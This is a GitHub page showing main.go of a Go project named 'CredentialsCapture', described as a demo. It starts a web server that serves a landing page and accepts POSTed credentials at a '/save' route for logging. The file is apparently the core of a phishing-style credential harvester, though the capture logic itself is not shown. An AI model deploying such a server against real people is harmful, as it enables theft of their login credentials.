-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
64 lines (47 loc) · 1.79 KB
/
main.go
File metadata and controls
64 lines (47 loc) · 1.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
CredentialsCapture
(C) Mark Ackroyd
Written as a demo
*/
package main
import (
"log"
"net/http"
"time"
config "github.com/acky666/CredentialsCapture/config"
"github.com/acky666/CredentialsCapture/controllers"
l "github.com/acky666/ackyLog"
"github.com/gorilla/mux"
_ "github.com/pdrum/swagger-automation/docs"
)
// Git Commit. (injected using the -ldflags directive in the go compiler so you can see the exact build running in production)
var GitCommit string = "Development"
var VERSION string = "Development"
func main() {
l.INFO(`
_________ .___ _________ __
\_ ___ \_______ ____ __| _/_____\_ ___ \_____ _______/ |_ __ _________ ____
/ \ \/\_ __ \_/ __ \ / __ |/ ___/ \ \/\__ \ \____ \ __\ | \_ __ \_/ __ \
\ \____| | \/\ ___// /_/ |\___ \\ \____/ __ \| |_> > | | | /| | \/\ ___/
\______ /|__| \___ >____ /____ >\______ (____ / __/|__| |____/ |__| \___ >
\/ \/ \/ \/ \/ \/|__| \/
`)
config.VERSION = VERSION
if config.Get("LogColours") == "NO" {
l.SHOWCOLOURS = false
}
l.INFO("GitCommit: " + GitCommit + " Project:" + config.PROJECT + " Version:" + VERSION + " Host:" + config.HOSTNAME + " Env:" + config.Get("ENV"))
l.INFO("DSN:" + config.Get("DatabaseDSN_LOG"))
l.INFO("Starting HTTP Server on " + config.Get("BIND"))
MUXHandler := mux.NewRouter()
MUXHandler.HandleFunc("/", controllers.ServeLanding)
MUXHandler.HandleFunc("/save", controllers.LogCredentials).Methods("POST")
http80srv := &http.Server{
Handler: MUXHandler,
ReadTimeout: 5 * time.Second,
WriteTimeout: 5 * time.Second,
Addr: config.Get("BIND"),
}
// Start Server
log.Fatal(http80srv.ListenAndServe())
}